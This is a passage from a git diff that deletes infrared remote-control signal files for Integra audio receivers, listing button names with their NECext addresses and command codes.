Z2_CHAN_+ -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 00 00 00 00 -# -name: PRESET_UP -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 00 00 00 00 -# -name: NET_TUNE_CH_DOWN -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 01 00 00 00 -# -name: Z2_PRESET_DOWN -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 01 00 00 00 -# -name: Z2_CHAN- -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 01 00 00 00 -# -name: PRESET_DOWN -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 01 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 02 00 00 00 -# -name: Z2_VOLUME_+ -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 02 00 00 00 -# -name: Z2_VOLUME_+ -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 02 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 03 00 00 00 -# -name: Z2_VOLUME_- -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 03 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 03 00 00 00 -# -name: Z2_VOLUME_- -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 03 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 04 00 00 00 -# -name: Z2_POWER_ON -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 04 00 00 00 -# -name: ZONE_2_ON -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 04 00 00 00 -# -name: Z2_ON -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 04 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 05 00 00 00 -# -name: Z2_MUTING_(TOGGLE) -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 05 00 00 00 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 05 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 08 00 00 00 -# -name: Z2_TAPE1(TAPE) -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 08 00 00 00 -# -name: INPUT:_TAPE -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 08 00 00 00 -# -name: Z2_INPUT_TAPE -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 08 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 09 00 00 00 -# -name: Z2_CD -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 09 00 00 00 -# -name: INPUT:_CD -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 09 00 00 00 -# -name: Z2_INPUT_CD -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 09 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 0A 00 00 00 -# -name: Z2_PHONO -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 0A 00 00 00 -# -name: INPUT:_PHONO -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 0A 00 00 00 -# -name: Z2_INPUT_PHONO -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 0A 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 0B 00 00 00 -# -name: Z2_TUNER -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 0B 00 00 00 -# -name: INPUT:_TUNER -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 0B 00 00 00 -# -name: Z2_INPUT_TUNER -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 0B 00 00 00 -# -name: VIDEO_3_GAME/TV -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 0D 00 00 00 -# -name: Z2_GAME/TV -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 0D 00 00 00 -# -name: INPUT:_GAME/TV -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 0D 00 00 00 -# -name: Z2_INPUT_GAME/TV -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 0D 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 0D 00 00 00 -# -name: VIDEO_2_CBL/SAT -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 0E 00 00 00 -# -name: Z2_CBL/SAT -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 0E 00 00 00 -# -name: INPUT:_CBL/SAT -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 0E 00 00 00 -# -name: Z2_INPUT_CBL/SAT -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 0E 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 0E 00 00 00 -# -name: VIDEO_1_VCR/DVR -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 0F 00 00 00 -# -name: Z2_VCR/DVR -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 0F 00 00 00 -# -name: INPUT:_VCR/DVR -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 0F 00 00 00 -# -name: Z2_INPUT_VCR/DVR -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 0F 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 0F 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 46 00 00 00 -# -name: Z2_FM -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 46 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 47 00 00 00 -# -name: Z2_AM -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 47 00 00 00 -# -name: VIDEO_6_PC -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 9C 00 00 00 -# -name: Z2_AUX2 -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 9D 00 00 00 -# -name: INPUT:_AUX_2 -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 9D 00 00 00 -# -name: Z2_INPUT_AUX2 -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 9D 00 00 00 -# -name: VIDEO_4_AUX1 -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 9F 00 00 00 -# -name: Z2_AUX1(AUX) -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 9F 00 00 00 -# -name: INPUT:_AUX_1 -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 9F 00 00 00 -# -name: Z2_INPUT_AUX_1 -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 9F 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: D2 11 00 00 -command: 9F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,172.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,172.ir deleted file mode 100644 index c2a7cc4a0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,172.ir +++ /dev/null @@ -1,374 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AUDIO -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 08 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 09 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 0A 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 0E 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 0F 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 10 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 11 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 12 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 13 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 14 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 15 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 16 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 17 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 18 00 00 00 -# -name: SEARCH-ENTER -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 19 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 1A 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 1B 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 1C 00 00 00 -# -name: MODE:_STRAIGHT_DECOD -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 52 00 00 00 -# -name: MODE:_TV_LOGIC -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 52 00 00 00 -# -name: MODE_STRAIGHT_DECODE -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 52 00 00 00 -# -name: STRAIGHT_DECODE -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 52 00 00 00 -# -name: MODE:_DOLBY_EX -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 53 00 00 00 -# -name: MODE_DOLBY_EX -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 53 00 00 00 -# -name: DOLBY_-_WRAP_AROUND -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 53 00 00 00 -# -name: DOLBY_EX -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 53 00 00 00 -# -name: DOLLBY_EX -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 53 00 00 00 -# -name: MODE:_MONO -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 54 00 00 00 -# -name: MODE_MONO -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 54 00 00 00 -# -name: MONO -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 54 00 00 00 -# -name: VIDEO_ADJUST -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 87 00 00 00 -# -name: SETUP_VIDEO -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 87 00 00 00 -# -name: UNIVERSAL_PORT -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 8A 00 00 00 -# -name: INPUT_UNIVERSAL_PORT -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 8A 00 00 00 -# -name: RESOLUTION -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 9D 00 00 00 -# -name: RESOLUTION:_TOGGLE -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 9D 00 00 00 -# -name: RESOLUTION_SCROLL -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 9D 00 00 00 -# -name: INPUT_USB_(FRONT) -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 9E 00 00 00 -# -name: INPUT_USB_REAR -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: 9F 00 00 00 -# -name: LISTEN_MODE_TV -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: D0 00 00 00 -# -name: MODE_LISTEN_MODEMOVI -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: D0 00 00 00 -# -name: LM_MOVIE/TV -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: D0 00 00 00 -# -name: LISTEN:_MOVIE/TV -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: D0 00 00 00 -# -name: LISTEN_MODE_MUSIC -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: D1 00 00 00 -# -name: LM_MUSIC -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: D1 00 00 00 -# -name: LISTEN:_MUSIC -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: D1 00 00 00 -# -name: LISTEN_MODE_GAME -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: D2 00 00 00 -# -name: MODE_LISTEN_MODEGAME -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: D2 00 00 00 -# -name: LM_GAME -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: D2 00 00 00 -# -name: LISTEN:_GAME -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: D2 00 00 00 -# -name: HDMI_OUT_NO_ANALOG -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: D3 00 00 00 -# -name: HDMI_OUT_NO -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: D3 00 00 00 -# -name: HDMI_OUT_MAIN -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: D4 00 00 00 -# -name: HDMI_OUT_YES -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: D4 00 00 00 -# -name: HDMI_OUT_SUB -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: D5 00 00 00 -# -name: XM -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: DA 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: DA 00 00 00 -# -name: INPUT:_XM -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: DA 00 00 00 -# -name: SIRIUS -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: DB 00 00 00 -# -name: INPUT_SIRIUS -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: DB 00 00 00 -# -name: INPUT:_SIRIUS -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: DB 00 00 00 -# -name: AUDYSSEY_TOGGLE -type: parsed -protocol: NECext -address: D2 AC 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,18.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,18.ir deleted file mode 100644 index c62b5d1ee..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,18.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Z2_VOLUME_+_(2) -type: parsed -protocol: NECext -address: D2 12 00 00 -command: 42 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: D2 12 00 00 -command: 42 00 00 00 -# -name: Z2_VOLUME_-_(2) -type: parsed -protocol: NECext -address: D2 12 00 00 -command: 43 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: D2 12 00 00 -command: 43 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: D2 12 00 00 -command: 47 00 00 00 -# -name: Z2_STANDBY -type: parsed -protocol: NECext -address: D2 12 00 00 -command: 47 00 00 00 -# -name: ZONE_2_OFF -type: parsed -protocol: NECext -address: D2 12 00 00 -command: 47 00 00 00 -# -name: Z2_SOURCE -type: parsed -protocol: NECext -address: D2 12 00 00 -command: 5F 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: D2 12 00 00 -command: 5F 00 00 00 -# -name: MUTE_ON -type: parsed -protocol: NECext -address: D2 12 00 00 -command: 84 00 00 00 -# -name: Z2_MUTING_ON -type: parsed -protocol: NECext -address: D2 12 00 00 -command: 84 00 00 00 -# -name: MUTE_OFF -type: parsed -protocol: NECext -address: D2 12 00 00 -command: 85 00 00 00 -# -name: Z2_MUTING_OFF -type: parsed -protocol: NECext -address: D2 12 00 00 -command: 85 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: D2 12 00 00 -command: 8C 00 00 00 -# -name: Z2_DVD -type: parsed -protocol: NECext -address: D2 12 00 00 -command: 8C 00 00 00 -# -name: INPUT:_DVD -type: parsed -protocol: NECext -address: D2 12 00 00 -command: 8C 00 00 00 -# -name: Z2_INPUT_DVD -type: parsed -protocol: NECext -address: D2 12 00 00 -command: 8C 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: D2 12 00 00 -command: CB 00 00 00 -# -name: Z2_STANDBY/ON_(TGLE) -type: parsed -protocol: NECext -address: D2 12 00 00 -command: CB 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: D2 12 00 00 -command: CB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,19.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,19.ir deleted file mode 100644 index 819e395d6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,19.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: UNIVERSAL_PORT -type: parsed -protocol: NECext -address: D2 13 00 00 -command: 8A 00 00 00 -# -name: USB_FRONT -type: parsed -protocol: NECext -address: D2 13 00 00 -command: 9E 00 00 00 -# -name: USB_REAR -type: parsed -protocol: NECext -address: D2 13 00 00 -command: 9F 00 00 00 -# -name: XM -type: parsed -protocol: NECext -address: D2 13 00 00 -command: DA 00 00 00 -# -name: SIRIUS -type: parsed -protocol: NECext -address: D2 13 00 00 -command: DB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,2.ir deleted file mode 100644 index e44892598..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,2.ir +++ /dev/null @@ -1,962 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TRIGGER_A_ON -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 04 00 00 00 -# -name: 12V_TRIGGER_A_ON -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 04 00 00 00 -# -name: TRIGGER_A_OFF -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 05 00 00 00 -# -name: 12V_TRIGGER_A_OFF -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 05 00 00 00 -# -name: TRIGGER_B_ON -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 06 00 00 00 -# -name: 12V_TRIGGER_B_ON -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 06 00 00 00 -# -name: 12V_TRIGGER_C_OFF -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 06 00 00 00 -# -name: 12V_TRIGGER_C_ON -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 06 00 00 00 -# -name: TRIGGER_B_OFF -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 07 00 00 00 -# -name: 12V_TRIGGER_B_OFF -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 07 00 00 00 -# -name: TRIGGER_C_ON -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 08 00 00 00 -# -name: 12V_TRIGGER_C_ON -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 08 00 00 00 -# -name: TRIGGER_C_OFF -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 09 00 00 00 -# -name: 12V_TRIGGER_C_OFF -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 09 00 00 00 -# -name: 12V_TRIGGER_C_ON -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 09 00 00 00 -# -name: MODE:_PLXLL_MOVIE -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0A 00 00 00 -# -name: MODE_PLLX_MOVIE -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0A 00 00 00 -# -name: PROLOGICIIX_MOVIE -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0A 00 00 00 -# -name: MODE_PLIIX_MOVIE -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0A 00 00 00 -# -name: PLIIX_MOVIE -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0A 00 00 00 -# -name: MODE:_PLXLL_MUSIC -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0B 00 00 00 -# -name: MODE_PLLX_MUSIC -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0B 00 00 00 -# -name: PROLOGICIIX_MUSIC -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0B 00 00 00 -# -name: MODE_PLIIX_MUSIC -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0B 00 00 00 -# -name: PLIIX_MUSIC -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0B 00 00 00 -# -name: MODE:_PLXLL_GAME -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0C 00 00 00 -# -name: MODE_PLLX_GAME -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0C 00 00 00 -# -name: PROLOGICIIX_GAME -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0C 00 00 00 -# -name: MODE_PLIIX_GAME -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0C 00 00 00 -# -name: PLIIX_GAME -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0C 00 00 00 -# -name: MODE:NEO6_CINEMA -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0D 00 00 00 -# -name: MODE_NEO6_CINEMA -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0D 00 00 00 -# -name: NEO_6_CINEMA -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0D 00 00 00 -# -name: MODE_NEO:6_CINEMA -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0D 00 00 00 -# -name: NEO:6_CINEMA -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0D 00 00 00 -# -name: MODE:_NEO6_CINEMA -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0D 00 00 00 -# -name: MODE:NEO6_MUSIC -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0E 00 00 00 -# -name: MODE_NEO6_MUSIC -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0E 00 00 00 -# -name: NEO_6_MUSIC -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0E 00 00 00 -# -name: MODE_NEO:6_MUSIC -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0E 00 00 00 -# -name: NEO:6_MUSIC -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0E 00 00 00 -# -name: MODE:_NEO6_MOVIE -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 0E 00 00 00 -# -name: LOCK -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 14 00 00 00 -# -name: UNLOCK -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 15 00 00 00 -# -name: TUNING_UP -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 40 00 00 00 -# -name: TUNE_DIRECT -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 40 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 40 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 40 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 40 00 00 00 -# -name: TUNING_DOWN -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 41 00 00 00 -# -name: TUNE_DOWN -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 41 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 41 00 00 00 -# -name: TUNE_DN -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 41 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 41 00 00 00 -# -name: SEARCH_MODE -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 4D 00 00 00 -# -name: TUNE_SEARCH_MODE -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 4D 00 00 00 -# -name: XM_SEARCH -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 4D 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 5C 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 5D 00 00 00 -# -name: NET_FWD -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 80 00 00 00 -# -name: NET/USB_FFWD -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 80 00 00 00 -# -name: NET_RWD -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 81 00 00 00 -# -name: NET/USB_REW -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 81 00 00 00 -# -name: NET/USB_RETURN -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 86 00 00 00 -# -name: NET_AUDIO -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 87 00 00 00 -# -name: INPUT_NET_AUDIO -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 87 00 00 00 -# -name: INPUT_MUSIC_SERVER -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 88 00 00 00 -# -name: MSRV -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 88 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 88 00 00 00 -# -name: INPUT_INTERNET_RADIO -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 89 00 00 00 -# -name: IRD -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 89 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 89 00 00 00 -# -name: NET_PLAY -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 8D 00 00 00 -# -name: NET/USB_PLAY -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 8D 00 00 00 -# -name: NET_STOP -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 8E 00 00 00 -# -name: NET/USB_STOP -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 8E 00 00 00 -# -name: NET_TRACK_+ -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 8F 00 00 00 -# -name: NET/USB_TRACK_+ -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 8F 00 00 00 -# -name: NET_TRACK_- -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 90 00 00 00 -# -name: NET/USB_TRACK_- -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 90 00 00 00 -# -name: NET_PAUSE -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 91 00 00 00 -# -name: NET/USB_PAUSE -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 91 00 00 00 -# -name: NET/USB_REPEAT -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 92 00 00 00 -# -name: NET/USB_MENU -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 94 00 00 00 -# -name: NET/USB_TOP_MENU -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 95 00 00 00 -# -name: NET/USB_RANDOM -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 9B 00 00 00 -# -name: NET/USB_DISPLAY -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 9E 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 9E 00 00 00 -# -name: NET/USB_SETUP -type: parsed -protocol: NECext -address: D2 02 00 00 -command: 9F 00 00 00 -# -name: NET_UP -type: parsed -protocol: NECext -address: D2 02 00 00 -command: C0 00 00 00 -# -name: NET/USB_UP -type: parsed -protocol: NECext -address: D2 02 00 00 -command: C0 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: D2 02 00 00 -command: C0 00 00 00 -# -name: NET_DOWN -type: parsed -protocol: NECext -address: D2 02 00 00 -command: C1 00 00 00 -# -name: NET/USB_DOWN -type: parsed -protocol: NECext -address: D2 02 00 00 -command: C1 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: D2 02 00 00 -command: C1 00 00 00 -# -name: NET_LEFT -type: parsed -protocol: NECext -address: D2 02 00 00 -command: C2 00 00 00 -# -name: NET/USB_LEFT -type: parsed -protocol: NECext -address: D2 02 00 00 -command: C2 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: D2 02 00 00 -command: C2 00 00 00 -# -name: NET_RIGHT -type: parsed -protocol: NECext -address: D2 02 00 00 -command: C3 00 00 00 -# -name: NET/USB_RIGHT -type: parsed -protocol: NECext -address: D2 02 00 00 -command: C3 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: D2 02 00 00 -command: C3 00 00 00 -# -name: NET_ENTER -type: parsed -protocol: NECext -address: D2 02 00 00 -command: C4 00 00 00 -# -name: NET/USB_SELECT -type: parsed -protocol: NECext -address: D2 02 00 00 -command: C4 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: D2 02 00 00 -command: C4 00 00 00 -# -name: NET/USB_CAPS -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D0 00 00 00 -# -name: NET/USB_DELETE -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D1 00 00 00 -# -name: FM_MODE -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D3 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D4 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D5 00 00 00 -# -name: NET/USB_1 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D5 00 00 00 -# -name: 11 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D5 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D6 00 00 00 -# -name: NET/USB_2 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D6 